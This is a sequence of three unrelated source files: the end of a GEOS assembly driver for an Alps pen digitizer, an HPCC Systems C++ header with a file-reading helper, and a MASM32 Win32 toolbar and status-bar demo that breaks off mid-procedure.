can only be valid ; if: ; 1) It is a "first pen down" event, we are not calibrating and ; the pen press's X coordinate is less than the X Offset. ; 2) If the first pen down event occurred in the hard icon ; area, then every event after that will be sent to ; handlingHardIconEvent. ; checkHardIcons: ; If first pen down, we need to see if we can select a hard icon. ; cmp ds:[penCondition], ACPC_FIRST_PEN_DOWN je checkHardFirstPenDown ; Not first pen down. We know that we don't want this event for ; hard icons because if we were in "hard icon" mode, we would have ; jumped to handlingHardIconEvent and skipped this code. So, just ; return this as a mouse event. ; Since the routine that converts raw to dpy coords will truncate ; the values at display min/max, we can safely send it off as a normal ; mouse event. ; jmp hardIconsRejected ; NOTE that you should only depend on AX, BX being the raw coordinates ; from this point forward (DX, BP will not be set). ; handlingHardIconEvent: ; If we started in the hard icon bar and this is not a pen up event, ; then we just ignore it because we are waiting for the user to let ; up on the pen. cmp ds:[penCondition], ACPC_PEN_UP jne exit ; Well then, send the hard icon event. call SendHardIconEvent ; Clear the hard icon processing bit. and ds:[condFlags], not mask AF_START_IN_HARD_ICON_BAR ; And... we're done jmp exit checkHardFirstPenDown: ; If we are calibrating, no hard icons allowed. test ds:[condFlags], mask AF_CALIBRATING jnz hardIconsRejected ; If not in the hard icon area, this is just some random off-screen ; event.. forward to the mouse event system. call PenInHardIconArea jnc hardIconsRejected ; Okay.. we will be handling a hard icon event. Set the bit to ; indicate that condition. or ds:[condFlags], mask AF_START_IN_HARD_ICON_BAR jmp exit MouseDevHandler endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PenInHardIconArea %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Tests digitizer coordinate to see if it falls within the hard icon area. CALLED BY: MouseDevHandler SendHardIconEvent PASS: ds = dgroup ax, bx = raw digitizer coordinates (X, Y) RETURN: carry = clear if point is NOT in hard icon area set if point is in hard icon area DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JimG 5/18/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PenInHardIconArea proc near .enter EC < ASSERT_SEG_IS_DGROUP ds > ; X < Xoffset cmp ax, ds:[calibration].ACI_offset.P_x jge notInHardIconArea ; Y >= Yoffset cmp bx, ds:[calibration].ACI_offset.P_y jl notInHardIconArea ; Y < Ymax cmp bx, ds:[digitizerMaxY] jge notInHardIconArea ; We are in the hard icon area.. stc done: .leave ret notInHardIconArea: clc jmp done PenInHardIconArea endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SendHardIconEvent %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Sends the appropriate hard icon event if the digitizer coordinates passed were in the hard icon area. CALLED BY: MouseDevHandler PASS: ds = dgroup ax, bx = raw digitizer coordinates (X, Y) RETURN: nothing DESTROYED: ax, bx, cx, dx SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JimG 5/18/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SendHardIconEvent proc near uses si, di, bp .enter EC < ASSERT_SEG_IS_DGROUP ds > ; Make sure we are still in the hard icon area call PenInHardIconArea jnc done ; nope.. no hard icon event ; Determine which hard icon the user clicked on. mov cx, NUMBER_HARD_ICONS ; counter sub bx, ds:[calibration].ACI_offset.P_y mov di, offset hardIconTable mov si, ds:[digitizerHardIconSpan] tryNextOne: sub bx, si ; subtract one hard icon span js gotIt ; if we went negative, we've ; got it add di, size AlpsHardIcon ; otherwise, move to next loop tryNextOne ; hard icon and continue ; Hmm.. out of icon range. If we get here, it is because of ; round-off error in the calculation of digitizerHardIconSpan. So, ; since we are the bottom of the screen, just assume the user ; clicked on the last hard icon. (We know we are in the range of ; the display since that was checked at the very beginning.) ; sub di, size AlpsHardIcon gotIt: ; If dataCX == 0ffffh then this is an empty icon. do nothing. cmp cs:[di].AHI_dataCX, 0ffffh je done ; NOP icon ; Dispatch the hard icon event mov ax, MSG_META_NOTIFY mov bx, ds:[mouseOutputHandle] mov cx, cs:[di].AHI_dataCX mov dx, cs:[di].AHI_dataDX mov bp, cs:[di].AHI_dataBP mov di, mask MF_FORCE_QUEUE call ObjMessage done: .leave ret SendHardIconEvent endp ; ; Hard icon table. But wasn't that obvious? ; hardIconTable AlpsHardIcon \ < \ MANUFACTURER_ID_GEOWORKS, GWNT_STARTUP_INDEXED_APP, 0 >, < \ MANUFACTURER_ID_GEOWORKS, GWNT_STARTUP_INDEXED_APP, 1 >, < \ MANUFACTURER_ID_GEOWORKS, GWNT_STARTUP_INDEXED_APP, 2 >, < \ MANUFACTURER_ID_GEOWORKS, GWNT_STARTUP_INDEXED_APP, 3 >, < \ MANUFACTURER_ID_GEOWORKS, GWNT_HARD_ICON_BAR_FUNCTION, HIBF_DISPLAY_FLOATING_KEYBOARD >, < \ MANUFACTURER_ID_GEOWORKS, GWNT_HARD_ICON_BAR_FUNCTION, HIBF_DISPLAY_HELP >, < \ MANUFACTURER_ID_GEOWORKS, GWNT_STARTUP_INDEXED_APP, 4 >, < \ MANUFACTURER_ID_GEOWORKS, GWNT_HARD_ICON_BAR_FUNCTION, HIBF_TOGGLE_EXPRESS_MENU > COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CalculateHardIconSpan %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Calculates the digitizerHardIconSpan and digitizerMaxY values. CALLED BY: MouseDevInit MouseSetCalibrationPoints PASS: ds = dgroup RETURN: nothing. digitizerHardIconSpan, digitizerMaxY set. DESTROYED: ax, bx, cx, dx SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JimG 5/18/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CalculateHardIconSpan proc near .enter EC < ASSERT_SEG_IS_DGROUP ds > ; Calculate the maximum Y value (in digitizer coordinates) to be ; "on-screen" and the Y span (length in digitizer coordinates of the ; valid "on-screen" region) of each hard icon. ; ; TotalYSpan = (ScreenMaxY * 2048)/ACI_scale_Y ; MaxY = TotalYSpan + Offset_Y ; HardIconSpan = TotalYSpan / NumHardIcons ; mov ax, SCREEN_MAX_Y mov dx, ax shl ax, 11 shr dx, 5 ; dx:ax = ax*2048 mov cx, ds:[calibration].ACI_scale.P_y div cx ; ax = result (span) mov bx, ax ; save span in bx ; Calculate max Y and store it add ax, ds:[calibration].ACI_offset.P_y mov ds:[digitizerMaxY], ax ; Calculate hard icon span mov_tr ax, bx clr dx mov cx, NUMBER_HARD_ICONS div cx mov ds:[digitizerHardIconSpan], ax .leave ret CalculateHardIconSpan endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AlpsReadRawData %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Reads the I/O addresses for the Alps digitizer and returns the raw X,Y position and the switch status. These ports needs to be read for the next point to be returned. CALLED BY: Internal PASS: nothing RETURN: ax = X (0-1023) bx = Y (0-1023) cl = AlpsSwitchInfo DESTROYED: ch, dx SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JimG 12/12/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AlpsReadRawData proc near .enter clr ax, bx, cx mov dx, DIGITIZER_X_HIGH in al, dx mov ch, al and ch, 07fh ; mask off bit 7 which is ; always set for high X byte shr cx, 1 mov dx, DIGITIZER_X_LOW in al, dx or cl, al ; cx = X mov dx, DIGITIZER_Y_HIGH in al, dx mov bh, al shr bx, 1 mov dx, DIGITIZER_Y_LOW in al, dx or bl, al ; bx = Y mov dx, DIGITIZER_SWITCH_INFO in al, dx xchg ax, cx ; ax = X, cl = switch info .leave ret AlpsReadRawData endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AlpsConvertRawToDisplay %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Converts Alps raw digitizer coords to display coords CALLED BY: PASS: ax = X raw coord bx = Y raw coord ds = DGROUP RETURN: Carry: Clear if coordinates are ON-SCREEN. Carry: Set if coordinates are OFF-SCREEN. dx = X display coord bp = Y display coord If either coordinate is off-screen, the display coordinate is truncated to the max or min value. DESTROYED: None SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JimG 12/12/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AlpsConvertRawToDisplay proc near uses ax, bx, cx, si, di .enter EC < ASSERT_SEG_IS_DGROUP ds > ; We need to play register shuffle here since we are doing math and ; shifts and they need specific registers.. sigh.. so anyway, we ; will use: ; DI = Value to be returned as the X Display Value ; SI = Value to be returned as the Y Display Value ; BP = Zero if on screen, between 0fffeh and 0ffffh if off screen ; ; Initially clear bp -- assume we are on screen. ; Initially clear di in case the value is off screen. clr di, bp sub ax, ds:[calibration].ACI_offset.P_x ; subtract off inset js notInScreenRangeX ; uh oh, went negative.. mov cx, ds:[calibration].ACI_scale.P_x mul cx ; dx:ax = result * 2048 ; Divide by 2048 shr ax, 11 ; 2048 = 2^11 shl dx, 5 ; clears low bits or ax, dx ; stick in top five bits ; from high word ; AX = display coord X mov di, SCREEN_MAX_X-1 ; set di to max in case ; out of bounds cmp ax, di ; upper bounds check on X jg notInScreenRangeX mov di, ax ; store calc'ed value in di returnFromOutOfBoundsX: xchg ax, bx ; store dpy X in bx, ax=raw Y ; Do Y coord (ax = Y coord now) clr si ; assume Y is off screen sub ax, ds:[calibration].ACI_offset.P_y ; subtract off inset js notInScreenRangeY ; uh oh, went negative.. mov cx, ds:[calibration].ACI_scale.P_y mul cx ; dx:ax = result * 2048 ; Divide by 2048 shr ax, 11 ; 2048 = 2^11 shl dx, 5 ; clears low bits or ax, dx ; stick in top five bits ; from high word ; AX = display coord Y mov si, SCREEN_MAX_Y-1 ; set si to max in case out ; of bounds cmp ax, si ; upper bounds check on Y jg notInScreenRangeY mov si, ax ; store calc'ed value in si returnFromOutOfBoundsY: ; Set carry flag correctly. This is done by adding bp to itself. ; If bp was 0fxxxh, then this will result in a carry, which means it ; was out of bounds.. otherwise, carry will be clear. Pretty cool, ; huh? And I didn't even plan this! ; add bp, bp mov dx, di ; store dpy X in return reg mov bp, si ; store dpy Y in return reg .leave ret notInScreenRangeX: dec bp jmp returnFromOutOfBoundsX notInScreenRangeY: dec bp jmp returnFromOutOfBoundsY AlpsConvertRawToDisplay endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AlpsInitialize %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Initializes the Alps Digitizer CALLED BY: PASS: nothing RETURN: nothing DESTROYED: al, dx SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JimG 12/12/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AlpsInitialize proc near .enter mov al, APC_INITIALIZE mov dx, DIGITIZER_COMMAND out dx, al mov dx, DIGITIZER_STATUS ; Make sure that the device has completed initialization. waitForReset: call AlpsIOPause in al, dx test al, mask APS_RESET jnz waitForReset call AlpsIOPause mov al, APC_READ_RATE_100_CPPS mov dx, DIGITIZER_COMMAND out dx, al call AlpsIOPause mov al, APC_NOISE_CANCELLATION_2_DOTS out dx, al if ERROR_CHECK call AlpsIOPause mov dx, DIGITIZER_STATUS in al, dx cmp al, AlpsPenStatus <1, 2, APRR_100_CPPS, 0, 0> ERROR_NE ALPS_PEN_INITIALIZATION_FAILURE endif ;ERROR_CHECK .leave ret AlpsInitialize endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AlpsIOPause %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Pauses about 38 ticks + 7 for the near call for a total of about 45 ticks. CALLED BY: Various functions. PASS: nothing RETURN: nothing DESTROYED: nothing, flags preserved. SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JimG 8/29/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AlpsIOPause proc near pushf push cx mov cx, 16384 loopTop: jmp $+2 jmp $+2 jmp $+2 jmp $+2 loop loopTop pop cx popf ret AlpsIOPause endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AlpsRegisterPowerDriver %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Register with the power driver, if possible. CALLED BY: MouseDevInit PASS: ds = dgroup RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JimG 10/ 5/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AlpsRegisterPowerDriver proc near uses di .enter EC < ASSERT_SEG_IS_DGROUP ds > mov di, DR_POWER_ON_OFF_NOTIFY call AlpsPowerDriverCommon jc done ; error: Not registered ; Keep track of the fact that we are indeed registered. ; ornf ds:[condFlags], mask AF_REGISTERED_WITH_POWER_DRIVER done: .leave ret AlpsRegisterPowerDriver endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AlpsUnregisterPowerDriver %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Unregister with the power driver if we were registered. CALLED BY: MouseDevExit PASS: ds = dgroup RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JimG 10/ 5/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AlpsUnregisterPowerDriver proc near uses di .enter EC < ASSERT_SEG_IS_DGROUP ds > test ds:[condFlags], mask AF_REGISTERED_WITH_POWER_DRIVER jz done andnf ds:[condFlags], not mask AF_REGISTERED_WITH_POWER_DRIVER ; We full well expect the power driver to unregister us. ; mov di, DR_POWER_ON_OFF_UNREGISTER call AlpsPowerDriverCommon EC < ERROR_C ALPS_PEN_POWER_DRIVER_FAILED_TO_UNREGISTER_US > done: .leave ret AlpsUnregisterPowerDriver endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AlpsPowerDriverCommon %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Register or Unregister with the power driver CALLED BY: AlpsRegisterPowerDriver AlpsUnregisterPowerDriver PASS: di = DR_POWER_ON_OFF_NOTIFY or DR_POWER_ON_OFF_UNREGISTER RETURN: carry = SET if operation failed. CLEAR if operation successful DESTROYED: di SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JimG 10/ 5/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AlpsPowerDriverCommon proc near uses ds, si, ax, bx, cx, dx .enter mov ax, GDDT_POWER_MANAGEMENT call GeodeGetDefaultDriver ; ax = driver handle tst ax stc ; No driver? set carry jz noPowerDriver mov_tr bx, ax ; bx = driver handle ; bx = driver handle ; di = power function call GeodeInfoDriver mov dx, segment AlpsPowerCallback mov cx, offset AlpsPowerCallback call ds:[si].DIS_strategy ;; PRESERVE FLAGS from the strategy routine! noPowerDriver: .leave ret AlpsPowerDriverCommon endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AlpsPowerCallback %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: If we are powering the device off, then disable the digitizer. Likewise, enable the digitizer if powering on. CALLED BY: Power driver PASS: ax = PowerNotifyChange RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JimG 10/ 5/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AlpsPowerCallback proc far uses ax, bx, cx, dx .enter ; For PNC_POWER_SHUTTING_OFF, stop data from the digitizer. ; For PNC_POWER_TURNING_ON and PNC_POWER_TURNED_OFF_AND_ON, start ; data from the digitizer. mov dl, APC_STOP_DATA cmp ax, PNC_POWER_SHUTTING_OFF je sendToDigitizer mov dl, APC_START_DATA sendToDigitizer: mov al, dl mov dx, DIGITIZER_COMMAND out dx, al call AlpsReadRawData ; Need to call this to be sure we get ; valid data ; Returns/Trashes: ax, bx, cx, dx .leave ret AlpsPowerCallback endp Resident ends
/*############################################################################## HPCC SYSTEMS software Copyright (C) 2012 HPCC Systems®. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ############################################################################## */ #ifndef __JLIBPLUS_HPP #define __JLIBPLUS_HPP #include "jstring.hpp" namespace esp { inline size32_t readFile(const char* name,StringBuffer& buf) { size32_t sz = 0; #ifdef _WIN32 int fd = open(name,O_RDONLY|O_BINARY); if(fd) { struct _stat st; if(!_fstat(fd,&st)) { void * data = buf.reserve((size32_t)st.st_size); sz = read(fd, data, st.st_size); } close(fd); } #else int fd = open(name,O_RDONLY); if(fd) { struct stat st; if(!fstat(fd,&st)) { void * data = buf.reserve((size32_t)st.st_size); sz = read(fd, data, st.st_size); } close(fd); } #endif return sz; } } #endif
; ######################################################################### .386 .model flat, stdcall option casemap :none ; case sensitive ; ######################################################################### include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\comctl32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\comctl32.lib ; ######################################################################### ;============= ; Local macros ;============= szText MACRO Name, Text:VARARG LOCAL lbl jmp lbl Name db Text,0 lbl: ENDM m2m MACRO M1, M2 push M2 pop M1 ENDM return MACRO arg mov eax, arg ret ENDM ;================= ; Local prototypes ;================= WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD WndProc PROTO :DWORD,:DWORD,:DWORD,:DWORD TopXY PROTO :DWORD,:DWORD Paint_Proc PROTO :DWORD,:DWORD .data szDisplayName db "Comctl32 Demo",0 CommandLine dd 0 hWnd dd 0 hInstance dd 0 hStatus dd 0 hToolBar dd 0 .code start: invoke GetModuleHandle, NULL mov hInstance, eax invoke GetCommandLine mov CommandLine, eax invoke WinMain,hInstance,NULL,CommandLine,SW_SHOWDEFAULT invoke ExitProcess,eax ; ######################################################################### WinMain proc hInst :DWORD, hPrevInst :DWORD, CmdLine :DWORD, CmdShow :DWORD ;==================== ; Put LOCALs on stack ;==================== LOCAL wc :WNDCLASSEX LOCAL msg :MSG LOCAL Wwd :DWORD LOCAL Wht :DWORD LOCAL Wtx :DWORD LOCAL Wty :DWORD invoke InitCommonControls ;================================================== ; Fill WNDCLASSEX structure with required variables ;================================================== mov wc.cbSize, sizeof WNDCLASSEX mov wc.style, CS_HREDRAW or CS_VREDRAW \ or CS_BYTEALIGNWINDOW mov wc.lpfnWndProc, offset WndProc mov wc.cbClsExtra, NULL mov wc.cbWndExtra, NULL m2m wc.hInstance, hInst ;<< NOTE: macro not mnemonic mov wc.hbrBackground, COLOR_BTNFACE+1 mov wc.lpszMenuName, NULL mov wc.lpszClassName, offset szClassName invoke LoadIcon,hInst,500 ; icon ID mov wc.hIcon, eax invoke LoadCursor,NULL,IDC_ARROW mov wc.hCursor, eax mov wc.hIconSm, 0 invoke RegisterClassEx, ADDR wc ;================================ ; Centre window at following size ;================================ mov Wwd, 500 mov Wht, 350 invoke GetSystemMetrics,SM_CXSCREEN invoke TopXY,Wwd,eax mov Wtx, eax invoke GetSystemMetrics,SM_CYSCREEN invoke TopXY,Wht,eax mov Wty, eax szText szClassName,"Comctl_Class" invoke CreateWindowEx,WS_EX_LEFT, ADDR szClassName, ADDR szDisplayName, WS_OVERLAPPEDWINDOW, Wtx,Wty,Wwd,Wht, NULL,NULL, hInst,NULL mov hWnd,eax invoke LoadMenu,hInst,600 ; menu ID invoke SetMenu,hWnd,eax invoke ShowWindow,hWnd,SW_SHOWNORMAL invoke UpdateWindow,hWnd ;=================================== ; Loop until PostQuitMessage is sent ;=================================== StartLoop: invoke GetMessage,ADDR msg,NULL,0,0 cmp eax, 0 je ExitLoop invoke TranslateMessage, ADDR msg invoke DispatchMessage, ADDR msg jmp StartLoop ExitLoop: return msg.wParam WinMain endp ; ######################################################################### WndProc proc hWin :DWORD, uMsg :DWORD, wParam :DWORD, lParam :DWORD LOCAL caW :DWORD LOCAL caH :DWORD LOCAL hDC :DWORD LOCAL Rct :RECT LOCAL tbb :TBBUTTON LOCAL Tba :TBADDBITMAP LOCAL Ps :PAINTSTRUCT szText tbSelect,"You have selected" .if uMsg == WM_COMMAND ;======== toolbar commands ======== .if wParam == 50 szText tb50,"New File" invoke SendMessage,hStatus,SB_SETTEXT,0,ADDR tb50 invoke MessageBox,hWin,ADDR tb50,ADDR tbSelect,MB_OK .elseif wParam == 51 szText tb51,"Open File" invoke SendMessage,hStatus,SB_SETTEXT,0,ADDR tb51 invoke MessageBox,hWin,ADDR tb51,ADDR tbSelect,MB_OK .elseif wParam == 52 szText tb52,"Save File" invoke SendMessage,hStatus,SB_SETTEXT,0,ADDR tb52 invoke MessageBox,hWin,ADDR tb52,ADDR tbSelect,MB_OK .elseif wParam == 53 szText tb53,"Cut" invoke SendMessage,hStatus,SB_SETTEXT,0,ADDR tb53 invoke MessageBox,hWin,ADDR tb53,ADDR tbSelect,MB_OK .elseif wParam == 54 szText tb54,"Copy" invoke SendMessage,hStatus,SB_SETTEXT,0,ADDR tb54 invoke MessageBox,hWin,ADDR tb54,ADDR tbSelect,MB_OK .elseif wParam == 55 szText tb55,"Paste" invoke SendMessage,hStatus,SB_SETTEXT,0,ADDR tb55 invoke MessageBox,hWin,ADDR tb55,ADDR tbSelect,MB_OK .elseif wParam == 56 szText tb56,"Undo" invoke SendMessage,hStatus,SB_SETTEXT,0,ADDR tb56 invoke MessageBox,hWin,ADDR tb56,ADDR tbSelect,MB_OK .elseif wParam == 57 szText tb57,"Search" invoke SendMessage,hStatus,SB_SETTEXT,0,ADDR tb57 invoke MessageBox,hWin,ADDR tb57,ADDR tbSelect,MB_OK .elseif wParam == 58 szText tb58,"Replace" invoke SendMessage,hStatus,SB_SETTEXT,0,ADDR tb58 invoke MessageBox,hWin,ADDR tb58,ADDR tbSelect,MB_OK .elseif wParam == 59 szText tb59,"Print" invoke SendMessage,hStatus,SB_SETTEXT,0,ADDR tb59 invoke MessageBox,hWin,ADDR tb59,ADDR tbSelect,MB_OK ;======== menu commands ======== .elseif wParam == 1000 invoke SendMessage,hWin,WM_SYSCOMMAND,SC_CLOSE,NULL .elseif wParam == 1900 szText TheMsg,"Assembler, Pure & Simple" invoke MessageBox,hWin,ADDR TheMsg,ADDR szDisplayName,MB_OK .endif ;====== end menu commands ====== .elseif uMsg == WM_CREATE ;-------------------- ; Create the tool bar ;-------------------- mov tbb.iBitmap, 0 mov tbb.idCommand, 0 mov tbb.fsState, TBSTATE_ENABLED mov tbb.fsStyle, TBSTYLE_SEP mov tbb.dwData, 0 mov tbb.iString, 0 invoke CreateToolbarEx,hWin,WS_CHILD or WS_CLIPSIBLINGS, 300,1,0,0,ADDR tbb, 1,16,16,0,0,sizeof TBBUTTON mov hToolBar, eax invoke ShowWindow,hToolBar,SW_SHOW ;----------------------------------------- ; Select tool bar bitmap from commctrl DLL ;----------------------------------------- mov Tba.hInst, HINST_COMMCTRL mov Tba.nID, 1 ; btnsize 1=big 2=small invoke SendMessage,hToolBar,TB_ADDBITMAP,1,ADDR Tba ;------------------------ ; Add buttons to tool bar ;------------------------ mov tbb.iBitmap, STD_FILENEW mov tbb.fsStyle, TBSTYLE_BUTTON mov tbb.idCommand, 50 invoke SendMessage,hToolBar,TB_ADDBUTTONS,1,ADDR tbb mov tbb.iBitmap, STD_FILEOPEN mov tbb.idCommand, 51 mov tbb.fsStyle, TBSTYLE_BUTTON invoke SendMessage,hToolBar,TB_ADDBUTTONS,1,ADDR tbb mov tbb.iBitmap, STD_FILESAVE mov tbb.idCommand, 52 mov tbb.fsStyle, TBSTYLE_BUTTON invoke SendMessage,hToolBar,TB_ADDBUTTONS,1,ADDR tbb mov tbb.idCommand, 0 mov tbb.fsStyle, TBSTYLE_SEP invoke SendMessage,hToolBar,TB_ADDBUTTONS,1,ADDR tbb mov tbb.iBitmap, STD_CUT mov tbb.idCommand, 53 mov tbb.fsStyle, TBSTYLE_BUTTON invoke SendMessage,hToolBar,TB_ADDBUTTONS,1,ADDR tbb mov tbb.iBitmap, STD_COPY mov tbb.idCommand, 54 mov tbb.fsStyle, TBSTYLE_BUTTON invoke SendMessage,hToolBar,TB_ADDBUTTONS,1,ADDR tbb mov tbb.iBitmap, STD_PASTE mov tbb.idCommand, 55 mov tbb.fsStyle, TBSTYLE_BUTTON invoke SendMessage,hToolBar,TB_ADDBUTTONS,1,ADDR tbb mov tbb.iBitmap, STD_UNDO mov tbb.idCommand, 56 mov tbb.fsStyle, TBSTYLE_BUTTON invoke SendMessage,hToolBar,TB_ADDBUTTONS,1,ADDR tbb mov tbb.iBitmap, 0 mov tbb.idCommand, 0 mov tbb.fsStyle, TBSTYLE_SEP invoke SendMessage,hToolBar,TB_ADDBUTTONS,1,ADDR tbb mov tbb.iBitmap, STD_FIND mov tbb.idCommand, 57 mov tbb.fsStyle, TBSTYLE_BUTTON invoke SendMessage,hToolBar,TB_ADDBUTTONS,1,ADDR tbb mov tbb.iBitmap, STD_REPLACE mov tbb.idCommand, 58 mov tbb.fsStyle, TBSTYLE_BUTTON invoke SendMessage,hToolBar,TB_ADDBUTTONS,1,ADDR tbb mov tbb.iBitmap, 0 mov tbb.idCommand, 0 mov tbb.fsStyle, TBSTYLE_SEP invoke SendMessage,hToolBar,TB_ADDBUTTONS,1,ADDR tbb mov tbb.iBitmap, STD_PRINT mov tbb.idCommand, 59 mov tbb.fsStyle, TBSTYLE_BUTTON invoke SendMessage,hToolBar,TB_ADDBUTTONS,1,ADDR tbb ;---------------------- ; Create the status bar ;---------------------- invoke CreateStatusWindow,WS_CHILD or WS_VISIBLE or \ SBS_SIZEGRIP,0, hWin, 200 mov hStatus, eax .elseif uMsg == WM_SIZE invoke SendMessage,hToolBar,TB_AUTOSIZE,0,0 m2m caW, lParam[0] ; client area width m2m caH, lParam[2] ; client area height invoke GetWindowRect,hStatus,ADDR Rct mov eax, Rct.bottom sub eax, Rct.top sub caH, eax invoke MoveWindow,hStatus,0,caH,caW,caH,TRUE .elseif uMsg == WM_PAINT invoke BeginPaint,hWin,ADDR Ps mov hDC, eax invoke Paint_Proc,hWin,hDC invoke EndPaint,hWin,ADDR Ps return 0 .elseif uMsg == WM_CLOSE .elseif uMsg == WM_DESTROY invoke PostQuitMessage,NULL return 